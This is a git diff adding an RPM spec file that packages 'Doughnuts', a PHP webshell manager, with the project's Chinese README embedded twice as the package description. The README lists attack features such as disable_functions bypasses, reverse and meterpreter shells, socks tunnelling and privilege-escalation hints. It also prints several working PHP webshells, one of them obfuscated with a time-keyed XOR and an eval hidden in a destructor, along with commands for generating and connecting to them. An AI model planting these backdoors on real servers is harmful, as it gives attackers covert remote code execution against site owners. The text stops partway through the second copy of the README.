automatic import of python-doughnutsopeneuler20.03

3 files changed, 2093 insertions, 0 deletions

diff --git a/.gitignore b/.gitignore
index e69de29..73cd312 100644
--- a/.gitignore
+++ b/.gitignore
@@ -0,0 +1 @@
+/doughnuts-4.24.0.tar.gz
diff --git a/python-doughnuts.spec b/python-doughnuts.spec
new file mode 100644
index 0000000..b9874b8
--- /dev/null
+++ b/python-doughnuts.spec
@@ -0,0 +1,2091 @@
+%global _empty_manifest_terminate_build 0
+Name:		python-doughnuts
+Version:	4.24.0
+Release:	1
+Summary:	A webshell manager for PHP
+License:	MIT
+URL:		https://github.com/way29/doughnuts
+Source0:	https://mirrors.nju.edu.cn/pypi/web/packages/02/89/a6b54112f7760a2661434b8f102c8d4270767b5523a6bf71a0002e0045cc/doughnuts-4.24.0.tar.gz
+BuildArch:	noarch
+
+Requires:	python3-requests
+Requires:	python3-colorama
+Requires:	python3-prettytable
+Requires:	python3-pysocks
+Requires:	python3-tqdm
+Requires:	python3-six
+
+%description
+# Doughnuts
+
+*一个基于Python3.6+的PHPwebshell管理器*
+
+
+<p align="center">
+     <a target="_blank" href="https://github.com/Stakcery/MagicStick">
+        <img alt="" src="https://img.shields.io/github/stars/WAY29/Doughnuts?style=flat"/>
+     </a>
+     <a target="_blank" href="https://github.com/WAY29/Doughnuts/blob/master/LICENSE">
+        <img alt="" src="https://img.shields.io/badge/license-MIT-green"/>
+     </a>
+     <a target="_blank" href="https://github.com/php/php-src/tree/PHP-7.0.0">
+        <img alt="" src="https://img.shields.io/badge/python-%5E3%2e6-blue"/>
+     </a>
+     <a target="_blank" href="https://github.com/Stakcery/MagicStick">
+        <img alt="" src="https://img.shields.io/github/watchers/WAY29/Doughnuts"/>
+     </a>
+     <a target="_blank" href="https://www.codacy.com/gh/WAY29/Doughnuts/dashboard?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=WAY29/Doughnuts&amp;utm_campaign=Badge_Grade">
+        <img alt="" src="https://app.codacy.com/project/badge/Grade/dc3e98656257440da1f40bfa49f185e3"/>
+     </a>
+</p>
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112302002860.png)
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301953207.png)
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954136.png)
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954927.png)
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954410.png)
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301955714.png)
+
+## 使用文档
+
+~~终于迎来了新的使用文档！~~
+
+***文档中许多内容已经过期，请以新版为准***
+
+详细使用文档请前往[此页面](https://doughnuts3.gitbook.io/)进行查看。
+
+## 特征
+
+- 支持连接,记录,管理webshell,方便下一次连接
+- 基于eval的连接,支持GET,POST,COOKIE,HEADER四种连接方式
+- **请求与响应伪装**
+- 支持编码payload(已内置base64,str_rot13,hex,doughnuts四种编码,可以通过添加encode文件夹中的py文件进行扩展),以实现连接带有解码的webshell
+- **支持绕过open_basedir**
+- **支持多种方式绕过disable_functions**
+    - 自动识别
+    - php7-backtrace
+    - php7-gc
+    - php7-json
+    - php7-splDoublyLinkedList
+    - LD_PRELOAD
+    - FFI
+    - COM
+    - imap_open
+    - MYSQL-UDF
+    - fpm(支持四种攻击方式，sock和端口的攻击方式)
+    - apache-mod-cgi
+    - iconv
+    - FFI-php_exec
+    - php7-reflectionProperty
+    - user_filter
+- 核心功能
+    - 获取网站,系统,进程信息
+    - 输出disbale_functions
+    - 寻找可写的PHP文件(以树状结构显示)
+    - 寻找配置文件(文件名中包含cfg/config/db/database) 也可以通过修改代码来支持寻找更多的文件(以树状结构显示)
+    - 执行自定义的php代码
+    - 获取一个临时的非完全交互式shell和webshell
+    - 正向/反弹shell
+    - 可以支持弹meterpreter的shell(php代码实现)
+    - (仅限双方均为*unix)获取完全交互式的反弹shell
+    - 读/写/上传/下载/删除/搜索文件,目录打包,分段文件上传/下载
+    - 数据库管理,临时的sql-shell,数据dump,分段dump
+    - **端口扫描**
+    - **出网检测**
+    - **集成neo-regeorg，一键开启socks5服务器**
+    - 内网网页文本式浏览代理，可自定义请求方法和数据
+    - 检测suid文件并给出提权建议 / 检测杀毒软件
+- 易于扩展
+
+## 依赖
+
+- Python3.6+
+- Python-requests
+- Python-pysocks
+- Python-colorama
+- Python-prettytable
+
+## 安装/运行方法
+
+***请在3.2版本之前运行过`python3 -m doughnuts.install`安装的朋友在更新3.2版本之后重新执行此命令!***
+
+- 使用pip安装
+
+```sh
+# 安装
+python3 -m pip install doughnuts --user -i https://pypi.org/simple/
+# (windows)添加一个bat文件到python根目录下
+# (*unix)添加一个可执行文件到/usr/local/bin下
+# 安装启动器,以方便调用
+python3 -m doughnuts.install
+# 运行
+doughnuts
+# 或
+python3 -m doughnuts
+# enjoy it!
+```
+
+- 通过poetry安装
+
+```sh
+pyton3 -m pip install poetry # 或其他方法安装python-poetry
+git clone https://github.com/WAY29/Doughnuts.git
+cd Doughnuts
+# debian/ubuntu系统需要运行此命令
+apt-get install python3-venv
+# 安装
+poetry install
+# 运行
+poetry run python3 Doughnuts/doughnuts.py # 应该对所有系统生效
+# enjoy it!
+```
+
+- 直接安装
+
+```sh
+# 安装PYTHON 3.6+
+git clone https://github.com/WAY29/Doughnuts.git
+cd Doughnuts/doughnuts
+pip3 install -r requirements.txt 或 pip3 install requests pysocks colorama prettytable tqdm
+# (windows)添加一个bat文件到python根目录下
+# (*unix)添加一个可执行文件到/usr/local/bin下
+# 安装启动器,以方便调用
+python3 install.py
+# 运行
+doughnuts
+# 或
+python3 doughnuts.py
+# enjoy it!
+```
+
+- 使用docker
+
+```bash
+# 启动一个doughnuts容器
+docker run --name doughnuts -itd longlone/doughnuts
+# 执行doughnuts容器的bash
+docker exec -it doughnuts bash
+# 在容器中运行doughnuts,这样你可以存储webshell记录等
+doughnuts
+
+# 或者直接执行doughnuts
+docker run --rm -it longlone/doughnuts:cli
+```
+
+## 使用例子
+
+*由于windows原因，在windows命令行连接下不支持&符号连接参数。
+尽量将额外参数包裹引号进行传递，且逐一拆分。
+好的习惯:"data:a=123" "data:b=456"
+坏的习惯:"data:a=123&b=456" (在windows命令行下会连接失败)*
+
+1. 普通webshell:
+
+    - 最平凡的webshell:
+
+        ```php
+        //test1.php
+        <?php
+        error_reporting(0);
+        eval($_POST['2333']);
+        ?>
+      ```
+      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
+      ```
+      connect http://localhost/test1.php POST 2333
+      ```
+      
+    - 带解码的webshell:
+
+        ```php
+        //test2.php
+        <?php
+        error_reporting(0);
+        eval(str_rot13(base64_decode($_REQUEST['2333'])));
+        ?>
+      ```
+      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
+      
+      ```
+      connect http://localhost/test2.php POST 2333 rot13 base64
+      ```
+      
+    - 需要额外参数与解码的webshell:
+
+        ```php
+        //test3.php
+        <?php
+        if(@md5($_POST['a']) == "202cb962ac59075b964b07152d234b70"){  // a=123
+        	@eval(base64_decode($_POST['2333']));
+        }
+        ```
+
+        那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
+
+        ```
+        connect http://localhost/test.php POST 2333 base64 "data:a=123"
+        ```
+
+2. 生成webshell:
+    1. 运行doughnuts
+    2. 执行`generate a.php POST pass salt 1`生成webshell,名字为a.php
+    3. 上传a.php 根据提示执行`connect {木马url} POST pass doughnuts-salt`连接webshell
+
+## 自定义编码器
+1. 进入doughnuts/encode目录
+2. 新建/拷贝一个py文件,起一个名字,以time.py为例
+3. 文件中只需要写一个run函数,类似于
+```python
+from libs.config import alias
+
+
+@alias(True)
+def run(data: str):
+    cipher = data
+    return cipher
+```
+4. 参数解释: data是传输的数据,为字符串,cipher为传出的数据,也应该为字符串
+5. 重启doughnuts即可使用`se/show_encoders`命令查看自定义的编码器,连接时使用`connect URL 请求方法 密码 编码器名字`即可使用自定义编码器
+6. 一个例子,以时间为秘钥的编码器
+```python
+from libs.config import alias
+from hashlib import md5
+from base64 import b64encode
+import time
+
+
+@alias(True)
+def run(data: str):
+    format_time = time.strftime("%Y-%m-%d %H:%M", time.localtime())
+    key = md5(format_time.encode()).hexdigest().encode()
+    data = data.encode()
+    cipher = bytes(data[i] ^ key[i % 32] for i in range(len(data)))
+    cipher = b64encode(cipher).decode()
+
+    return cipher
+```
+对应的php webshell
+```php
+<?php 
+class COMI { 
+    public $c='';
+    function __destruct() {
+        return eval(substr($this->c, 0));
+    }
+}
+date_default_timezone_set("PRC");
+$comi = new COMI();
+$password = &$password1;
+$password1 = $_REQUEST['x'];
+$post = &$password;
+$post=base64_decode($post);
+$key=md5(date("Y-m-d H:i",time()));
+for($i=0;$i<strlen($post);$i++){
+    $post[$i] = $post[$i] ^ $key[$i%32];
+}
+$lnng1 = &$lnng;
+$lnng = $post;
+$lnng2 = $lnng1;
+@$comi->c = substr($lnng2, 0);
+?>
+```
+
+## 自定义webshell模板
+1. 进入doughnuts/webshell_plugins目录
+2. 新建/拷贝一个py文件,起一个名字,以test.py为例
+3. 文件中只需要写一个get_php函数,类似于
+```python
+def get_php(keyword: int = 4, passwd: str = "", salt: str = ""):
+    ...
+```
+4. 各个参数解释
+    - keyword是一个数字对应一种请求方式,分别对应: GET->3 POST->4 COOKIE->5 HEADER->6
+    - passwd是连接webshell的密码
+    - salt是用于加密算法的盐,你可以不需要使用这个参数,但是函数定义里必须存在
+5. 重启doughnuts或者在doughnuts使用`reload generate`重新加载generate命令,即可使用doughnuts生成自定义webshell
+
+## 参考
+
+- https://github.com/WangYihang/Webshell-Sniper
+- https://github.com/epinna/weevely3
+
+## 更新日志
+
+### 4.24.0
+- 4.24.0 
+  - 4.24.0
+    - 新增功能
+        - memshell: 通过交互式操作注入php内存马，仅作用于fastcgi,详情请看[这里](https://tttang.com/archive/1720/)
+    - 优化
+      - 优化bdf-fpm的逻辑，修复一些bug
+### 4.23.0
+- 4.23.0
+    - 新增功能
+        - bdf-php-concat_function: 对应数字17，详情请看[这里](https://github.com/mm0r1/exploits/tree/master/php-concat-bypass)
+- 4.23.1
+    - 修复bug
+        - connect: 某些webshell无法连接的问题 (出现 IndexError)
+        - cat: 在使用DOMDocument读取文件时没有base64解码的错误
+        - portscan: 无法使用的问题
+        - upload: 使用file_put_contents上传文件时错误的问题
+- 4.23.2
+    - 修复bug
+        - 在linux下调用vi编辑器会导致无法写入的问题
+        - webshell/db_shell/shell 命令现在会根据switch命令切换原始/补全模式
+- 4.23.3
+    - 修复bug       
+        - upload无法使用的bug
+        - 在艰难环境下连接webshell的优化
+
+### 4.22.0
+
+- 4.22.0
+  - 新增功能
+    - extension
+      - 查看当前php所装扩展
+  - 优化功能
+    - 去除安装脚本中部分多余代码
+    - 用随机字符标识替代原先固定标识符的webshell是否存活检测
+    - 现在输入完整命令后按方向键(→)或tab显示候选参数
+    - 现在会根据自带的base64函数是否可用自动补上base64函数头
+    - cat
+      - 现在会根据情况自动选择读取文件方式
+    - write
+      - 现在会根据情况自动选择写入文件方式
+  - 重构代码
+    - 在libs目录中加上如functions/[插件目录]/[插件函数]形式，便于插件可读性的提高
+    - 对myapp.py中大部分php代码进行包装转移
+    - 对connect.py中部分php代码进行包装转移
+    - 对webshell_plugins内大部分插件的php代码进行包装转移
+  - 修复bug
+    - readline:
+      - 在自动补全参数时有可能会重复补全命令的错误
+      - 无法对general中命令参数进行自动补全的错误
+      - 有关debug代码部分的错误
+    - 更正部分文本错误，去除部分多余代码
+
+### 4.21.0
+
+- 4.21.0
+    - 新增功能
+        - bdf-shellshock: 对应数字16，Bash破壳（CVE-2014-6271)漏洞
+    - 修复bug
+        - bdf-fpm:
+            在某些情况下误判目标并不是使用fpm启动，现在解除这个限制，由使用者自己决定
+### 4.20.0
+- 4.20.0
+    - 新增特性
+        - 在极端环境下连接webshell
+    - 新增功能
+        - bdf: 12-iconv 增加bypass函数
+
+### 4.19.0
+- 4.19.0
+    - 新增功能
+        - bdf: 新增user_filter模式，适用于7.0-8.0所有版本
+### 4.18.0
+- 4.18.0
+    - 修复bug
+        - proxy: 可能失效的问题
+        - db_shell: 命令重复执行
+
+    - 优化功能
+        - upload
+            - 使用$_FILES上传失败时显示失败原因
+        - socks
+            - windows下http path的默认值使用/替换\
+    - 新增功能
+        - db_exec
+            - 启动编辑器执行任意sql语句
+- 4.18.1
+    - 修复bug
+        - db_mdump
+            - 重试无效的问题
+            - 线程不安全导致dump的数据不全或重复的问题
+            - 数据为空时与数据类型不匹配的问题,将''替换为null
+- 4.18.2
+    - 修复bug
+        - mdownload
+            - 重试后无论如何都显示下载失败
+    - 优化功能
+        - 使用自定义的函数获取php配置选项的值，而非ini_get
+        - getenv
+            - 使用自定义的函数获取php配置选项的值，而非ini_get
+        - mdownload
+            - 添加hash验证
+            - 增加提示
+            - 使用临时文件而非内存存储chunk
+        - 请求: 添加重试次数2
+- 4.18.3
+    - 修复bug
+        - mdownload,download在下载时会创建文件夹
+        - write写入文件名错误
+        - edit编辑文件时为空
+    - README
+        - 添加shields
+### 4.17
+- 4.17.0
+    - 添加说明
+        - bdf: 补充4.15新增的fpm-ftp模式的说明
+    - 新增功能
+        - bdf-fpm:
+            - (实验性功能，不稳定)现在会询问是否在所有请求中都攻击fpm以获取结果，可以用于绕过open_basedir等限制，暂不支持ftp模式
+        - system:
+            - 若命令以&结尾，则会将其起新线程挂在后端执行
+
+        
+
+### 4.16
+- 4.16.0
+    - 优化功能
+        - socks
+            - 支持代理选项,支持如`http://127.0.0.1:1080/` 或 `socks5://127.0.0.1:1080/`的代理
+            - 支持在fsockopen被禁用时使用pfsockopen
+            - 更改说明,只支持5.4.0及以上版本
+    - 新增功能
+        - phpinfo
+            - 调用默认浏览器显示phpinfo信息
+    - 修复bug
+        - bdf LD_PRELOAD模式 mb_send_mail无法成功bypass
+        - 修复某些命令会输出debug消息的bug
+        - fwpf无法生效
+        - connect时额外参数有多个:或者=号时程序异常
+        - download，mdownload:指定文件保存名时认为是目录的bug
+- 4.16.1
+    - 优化功能
+        - 删除generate的非交互输出
+        - 修改reverse的文档，windows-php不建议使用
+        - connect:假如ini_get被禁用也能够链接
+        - bdf-10-fpm
+            - http_sock: 支持stream_socket_client函数作为备用
+            - ftp: 新增ftp模式，通过在目标机器构建一个虚假的ftp服务器以实现ssrf攻击fpm
+        
+
+### 4.15
+- 4.15.0
+    - 修改别名
+        socks -> old_socks
+    - 新增功能
+        - bdf
+            - 增加FFI-php_exec, php7-reflectionProperty模式
+        - outnetwork
+            - 快速检查目标机器是否能出网
+        - socks
+            - 启动一个socks服务器,上传并连接远程的webshell管道以实现内网穿透的功能(power by neo-regeorg)
+    - 修改输出
+        write
+    - 修复bug
+        - 无法使用参数短别名
+        - requirements.txt中的urllib3版本修改为1.26.5
+- 4.15.1
+    - 修改bug
+        - ps命令在无法读取/proc目录时没有输出报错
+        - execute,write,edit无法使用自定义编辑器或报错
+    - 修改输出
+        - touch
+    - 优化功能
+        - execute,write,edit
+            - 现在编辑一个临时的php文件而非无后缀文件
+            - 添加参数edit_args,用于提供编辑器的参数,例如execute code '"--wait"'
+            - 当使用code(即vscode)时会自动添加--wait参数
+    
+
+### 4.14
+- 4.14.0
+    - 新增功能
+        - bdf
+            - 增加iconv模式
+    - 修复bug
+        - edit, upload
+        - bdf apache-mod-cgi模式 在切换目录之后无法执行系统命令,现在固定在webshell目录中上传.htaccess和cgi脚本
+- 4.14.1
+- 4.14.2
+    - 修复bug
+        - 在Python3.9中报错
+            -bindshell, remp, reverse, socks
+        - gululingbo模板生成的webshell没有php头
+        - log命令默认参数时提示File path is invalid
+- 4.14.3
+    - 修复bug
+        - 在windows下连接使用额外参数时错误
+        - ls显示带有空格文件名的文件的时候显示不全
+    - 删除特性
+        - 不再能从外部使用connect命令
+
+        
+### 4.13
+- 4.13.0
+    - 新增功能
+        - bdf
+            - 增加apache-mod-cgi模式
+- 4.13.1
+    - 修复bug
+        - iconv.c源码
+### 4.12
+- 4.12.0
+    - 新增功能
+        - bdf
+            - 修改ld_preload部分,重构代码,支持x86 linux
+            - 为udf部分切割代码
+        - reverse
+            - 修改默认反弹类型,默认会根据目标系统选择powershell/bash
+            - 添加bash_exec类型,使用exec和管道符实现
+        - search
+            - 添加别名find, 最后结果以绝对路径显示
+        - remp
+            - 支持pfsockopen, 删除bash类型的反弹,将其移到reverse命令
+        - upload
+            - 新增参数upload_type,支持file_put_contents直接写入内容,同时优化输出
+    - 修复bug
+        upload
+    - 添加注释
+        bdf, reverse, av, checkvm
+    - 修改帮助文档
+        bdf, reverse, bobd, search, upload
+    - 重构代码
+        search, bdf, upload
+    - 修改分类
+        - verbose general->COMMON
+### 4.11
+- 4.11.0
+    - 修改命令
+        - bdf命令 重写fpm部分,使用antsword的[bypass_disable_functions扩展](https://github.com/Medicean/as_bypass_php_disable_functions)
+            现在支持三种attack_type: gopher,sock,http_sock
+            - gopher: 使用curl扩展与gopher协议攻击fpm端口
+            - sock: 使用stream_socket_client攻击fpm-sock
+            - http_sock: 使用fsockopen,pfsockopen连接fpm端口
+    
+- 4.11.1
+    - 修改fpm的sock和http_sock攻击方式,防止整个doughnuts卡死
+- 4.11.2
+    - 修复无法使用`python3 -m doughnuts`启动doughnuts的bug
+### 4.10
+- 4.10.0
+    - 修改命令
+        - touch命令 支持windows,不再调用系统命令去实现
+- 4.10.1-3(废弃版本)
+- 4.10.4
+    - 添加缺少的依赖到requirements.txt: six
+- 4.10.5
+    - 添加docker并上传到dockerhub,可以使用docker命令一键起doughnuts
+### 4.9
+- 4.9.0
+    - 修改核心
+        - 添加custom_plugins目录,用于存放用户自己编写的插件
+        - 添加config.ini文件,用于配置相关参数
+- 4.9.1
+    - 修复在pypi版本与github版本不一致的问题
+- 4.9.2
+- 4.9.3, 4.9.4
+    - 修复在不存在自定义命令时连接webshell后帮助菜单无法显示的bug
+
+### 4.8
+- 4.8.0
+    - 修改命令
+        - generate命令 现在支持在自定义webshell模板,在doughnuts/webshell_plugins下可以添加自己的模板,详情请查看上面的自定义webshell模板
+- 4.8.1
+    - 优化代码结构
+    - 优化doughnuts加密算法
+    - 修复enrecv不存在的问题
+
+### 4.7
+- 4.7.0
+    - 修改命令
+        - remp命令 修改php模式的payload,添加bash和python的payload
+        - bdf命令 php-fpm模式(https://xz.aliyun.com/t/5598)
+
+### 4.6
+- 4.6.0
+    - 添加命令
+        - verbose命令 用于开启/关闭提示符的详细信息显示
+
+### 4.5
+- 添加命令
+    - enrecv命令 用于随时开启/关闭回显加密
+    - remp命令 可以简易的弹一个meterpreter的shell
+- 修复bug
+    - 修复回显加密在弹shell时可能会出现解码错误的问题
+- 4.5.1
+    - 现在使用随机字符作为连接是否成功的判断以防特征检测
+- 4.5.2
+    - 添加命令
+        - mkdir命令 创建文件夹
+        - rmdir命令 删除空文件夹
+
+### 4.4
+- 修改核心
+    - 使用算法将回显加密
+- 4.4.1
+    - 修复bug
+        - **回显加密在php5会出错**
+- 4.4.2
+    - 修改命令
+        - touch命令 提示修改
+        - ps命令    提示修改,只允许在*unix目标上运行
+    - 修复bug
+        - 曾导致在linux下调用vi编辑器失败
+
+### 4.3
+- 修改命令
+    - portscan去除短名ps, 修改显示结果,变得更加可读
+    - bobd支持在ini_set被禁用时使用ini_alter
+    - bdf php7-backtrace 添加在Exception类被禁用后使用Error类
+- 添加命令
+    - copy命令 用于复制文件
+    - ps命令 类似于linux下的ps命令,用于读取系统进程信息
+- 修复bug
+    - 在back返回主菜单后清理mysql连接记录
+
+
+### 4.2
+- 修改结构
+    - myapp尝试丢弃webshell执行代码之前的输出
+- 添加命令
+    - mdownload命令 用于分块下载文件
+- 修改命令
+    - mupload命令 完全重写,真正意义上的分块上传,修复mupload上传失败不会自动清理临时文件的问题
+- 修复bug
+    - 修复mdownload, mupload没有ls后补全的问题
+- 新增依赖
+    - tqdm
+- 4.2.1
+    - 修改命令
+        - db_mdump命令 优化,去除key键,去除表结构中的Not NULL, 使用mysql_real_escape_string转义
+
+
+
+
+### 4.1
+- 修改结构
+    - 新建插件时不再需要更改helpmenu.py
+
+
+### 4.0
+- 修改命令
+    - 修复当使用mysqli扩展链接mysql数据库时db_info显示的问题
+    - 修复当使用pdo扩展链接数据库时无法db_dump的问题
+    - 修复某些文本错误
+    - db_dump命令 
+        - 不再目标主机上写入文件而是直接下载到本地,修改参数{web_file_path}->{local_path}
+        - 添加参数 {table} 用于指定数据表,默认存储文件名为{database}.{table}.sql
+    - dump命令
+        - 修复一个bug曾导致路径拼接时使用\转义了外部php的引号导致的报错
+- 添加命令
+    - db_mdump命令 用于分块dump数据库
+- 4.0.1
+    - 修复了db_mdump导出的数据库encoding错误导致sql文件无法导入的问题
+- 4.0.2
+    - 修复了db_mdump数据重复的问题
+- 4.0.3
+    - 删除测试输出,删除db_mdump中DROP DATABASE语句
+
+## 免责声明
+
+本项目仅供网站管理人员与渗透测试人员学习与交流,任何使用本项目进行的一切未授权攻击行为与本人无关.
+
+
+%package -n python3-doughnuts
+Summary:	A webshell manager for PHP
+Provides:	python-doughnuts
+BuildRequires:	python3-devel
+BuildRequires:	python3-setuptools
+BuildRequires:	python3-pip
+%description -n python3-doughnuts
+# Doughnuts
+
+*一个基于Python3.6+的PHPwebshell管理器*
+
+
+<p align="center">
+     <a target="_blank" href="https://github.com/Stakcery/MagicStick">
+        <img alt="" src="https://img.shields.io/github/stars/WAY29/Doughnuts?style=flat"/>
+     </a>
+     <a target="_blank" href="https://github.com/WAY29/Doughnuts/blob/master/LICENSE">
+        <img alt="" src="https://img.shields.io/badge/license-MIT-green"/>
+     </a>
+     <a target="_blank" href="https://github.com/php/php-src/tree/PHP-7.0.0">
+        <img alt="" src="https://img.shields.io/badge/python-%5E3%2e6-blue"/>
+     </a>
+     <a target="_blank" href="https://github.com/Stakcery/MagicStick">
+        <img alt="" src="https://img.shields.io/github/watchers/WAY29/Doughnuts"/>
+     </a>
+     <a target="_blank" href="https://www.codacy.com/gh/WAY29/Doughnuts/dashboard?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=WAY29/Doughnuts&amp;utm_campaign=Badge_Grade">
+        <img alt="" src="https://app.codacy.com/project/badge/Grade/dc3e98656257440da1f40bfa49f185e3"/>
+     </a>
+</p>
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112302002860.png)
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301953207.png)
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954136.png)
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954927.png)
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954410.png)
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301955714.png)
+
+## 使用文档
+
+~~终于迎来了新的使用文档！~~
+
+***文档中许多内容已经过期，请以新版为准***
+
+详细使用文档请前往[此页面](https://doughnuts3.gitbook.io/)进行查看。
+
+## 特征
+
+- 支持连接,记录,管理webshell,方便下一次连接
+- 基于eval的连接,支持GET,POST,COOKIE,HEADER四种连接方式
+- **请求与响应伪装**
+- 支持编码payload(已内置base64,str_rot13,hex,doughnuts四种编码,可以通过添加encode文件夹中的py文件进行扩展),以实现连接带有解码的webshell
+- **支持绕过open_basedir**
+- **支持多种方式绕过disable_functions**
+    - 自动识别
+    - php7-backtrace
+    - php7-gc
+    - php7-json
+    - php7-splDoublyLinkedList
+    - LD_PRELOAD
+    - FFI
+    - COM
+    - imap_open
+    - MYSQL-UDF
+    - fpm(支持四种攻击方式，sock和端口的攻击方式)
+    - apache-mod-cgi
+    - iconv
+    - FFI-php_exec
+    - php7-reflectionProperty
+    - user_filter
+- 核心功能
+    - 获取网站,系统,进程信息
+    - 输出disbale_functions
+    - 寻找可写的PHP文件(以树状结构显示)
+    - 寻找配置文件(文件名中包含cfg/config/db/database) 也可以通过修改代码来支持寻找更多的文件(以树状结构显示)
+    - 执行自定义的php代码
+    - 获取一个临时的非完全交互式shell和webshell
+    - 正向/反弹shell
+    - 可以支持弹meterpreter的shell(php代码实现)
+    - (仅限双方均为*unix)获取完全交互式的反弹shell
+    - 读/写/上传/下载/删除/搜索文件,目录打包,分段文件上传/下载
+    - 数据库管理,临时的sql-shell,数据dump,分段dump
+    - **端口扫描**
+    - **出网检测**
+    - **集成neo-regeorg，一键开启socks5服务器**
+    - 内网网页文本式浏览代理，可自定义请求方法和数据
+    - 检测suid文件并给出提权建议 / 检测杀毒软件
+- 易于扩展
+
+## 依赖
+
+- Python3.6+
+- Python-requests
+- Python-pysocks
+- Python-colorama
+- Python-prettytable
+
+## 安装/运行方法
+
+***请在3.2版本之前运行过`python3 -m doughnuts.install`安装的朋友在更新3.2版本之后重新执行此命令!***
+
+- 使用pip安装
+
+```sh
+# 安装
+python3 -m pip install doughnuts --user -i https://pypi.org/simple/
+# (windows)添加一个bat文件到python根目录下
+# (*unix)添加一个可执行文件到/usr/local/bin下
+# 安装启动器,以方便调用
+python3 -m doughnuts.install
+# 运行
+doughnuts
+# 或
+python3 -m doughnuts
+# enjoy it!
+```
+
+- 通过poetry安装
+
+```sh
+pyton3 -m pip install poetry # 或其他方法安装python-poetry
+git clone https://github.com/WAY29/Doughnuts.git
+cd Doughnuts
+# debian/ubuntu系统需要运行此命令
+apt-get install python3-venv
+# 安装
+poetry install
+# 运行
+poetry run python3 Doughnuts/doughnuts.py # 应该对所有系统生效
+# enjoy it!
+```
+
+- 直接安装
+
+```sh
+# 安装PYTHON 3.6+
+git clone https://github.com/WAY29/Doughnuts.git
+cd Doughnuts/doughnuts
+pip3 install -r requirements.txt 或 pip3 install requests pysocks colorama prettytable tqdm
+# (windows)添加一个bat文件到python根目录下
+# (*unix)添加一个可执行文件到/usr/local/bin下
+# 安装启动器,以方便调用
+python3 install.py
+# 运行
+doughnuts
+# 或
+python3 doughnuts.py
+# enjoy it!
+```
+
+- 使用docker
+
+```bash
+# 启动一个doughnuts容器
+docker run --name doughnuts -itd longlone/doughnuts
+# 执行doughnuts容器的bash
+docker exec -it doughnuts bash
+# 在容器中运行doughnuts,这样你可以存储webshell记录等
+doughnuts
+
+# 或者直接执行doughnuts
+docker run --rm -it longlone/doughnuts:cli
+```
+
+## 使用例子
+
+*由于windows原因，在windows命令行连接下不支持&符号连接参数。
+尽量将额外参数包裹引号进行传递，且逐一拆分。
+好的习惯:"data:a=123" "data:b=456"
+坏的习惯:"data:a=123&b=456" (在windows命令行下会连接失败)*
+
+1. 普通webshell:
+
+    - 最平凡的webshell:
+
+        ```php
+        //test1.php
+        <?php
+        error_reporting(0);
+        eval($_POST['2333']);
+        ?>
+      ```
+      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
+      ```
+      connect http://localhost/test1.php POST 2333
+      ```
+      
+    - 带解码的webshell:
+
+        ```php
+        //test2.php
+        <?php
+        error_reporting(0);
+        eval(str_rot13(base64_decode($_REQUEST['2333'])));
+        ?>
+      ```
+      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
+      
+      ```
+      connect http://localhost/test2.php POST 2333 rot13 base64
+      ```
+      
+    - 需要额外参数与解码的webshell:
+
+        ```php
+        //test3.php
+        <?php
+        if(@md5($_POST['a']) == "202cb962ac59075b964b07152d234b70"){  // a=123
+        	@eval(base64_decode($_POST['2333']));
+        }
+        ```
+
+        那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
+
+        ```
+        connect http://localhost/test.php POST 2333 base64 "data:a=123"
+        ```
+
+2. 生成webshell:
+    1. 运行doughnuts
+    2. 执行`generate a.php POST pass salt 1`生成webshell,名字为a.php
+    3. 上传a.php 根据提示执行`connect {木马url} POST pass doughnuts-salt`连接webshell
+
+## 自定义编码器
+1. 进入doughnuts/encode目录
+2. 新建/拷贝一个py文件,起一个名字,以time.py为例
+3. 文件中只需要写一个run函数,类似于
+```python
+from libs.config import alias
+
+
+@alias(True)
+def run(data: str):
+    cipher = data
+    return cipher
+```
+4. 参数解释: data是传输的数据,为字符串,cipher为传出的数据,也应该为字符串
+5. 重启doughnuts即可使用`se/show_encoders`命令查看自定义的编码器,连接时使用`connect URL 请求方法 密码 编码器名字`即可使用自定义编码器
+6. 一个例子,以时间为秘钥的编码器
+```python
+from libs.config import alias
+from hashlib import md5
+from base64 import b64encode
+import time
+
+
+@alias(True)
+def run(data: str):
+    format_time = time.strftime("%Y-%m-%d %H:%M", time.localtime())
+    key = md5(format_time.encode()).hexdigest().encode()
+    data = data.encode()
+    cipher = bytes(data[i] ^ key[i % 32] for i in range(len(data)))
+    cipher = b64encode(cipher).decode()
+
+    return cipher
+```
+对应的php webshell
+```php
+<?php 
+class COMI { 
+    public $c='';
+    function __destruct() {
+        return eval(substr($this->c, 0));
+    }
+}
+date_default_timezone_set("PRC");
+$comi = new COMI();
+$password = &$password1;
+$password1 = $_REQUEST['x'];
+$post = &$password;
+$post=base64_decode($post);
+$key=md5(date("Y-m-d H:i",time()));
+for($i=0;$i<strlen($post);$i++){
+    $post[$i] = $post[$i] ^ $key[$i%32];
+}
+$lnng1 = &$lnng;
+$lnng = $post;
+$lnng2 = $lnng1;
+@$comi->c = substr($lnng2, 0);
+?>
+```
+
+## 自定义webshell模板
+1. 进入doughnuts/webshell_plugins目录
+2. 新建/拷贝一个py文件,起一个名字,以test.py为例
+3. 文件中只需要写一个get_php函数,类似于
+```python
+def get_php(keyword: int = 4, passwd: str = "", salt: str = ""):
+    ...
+```
+4. 各个参数解释
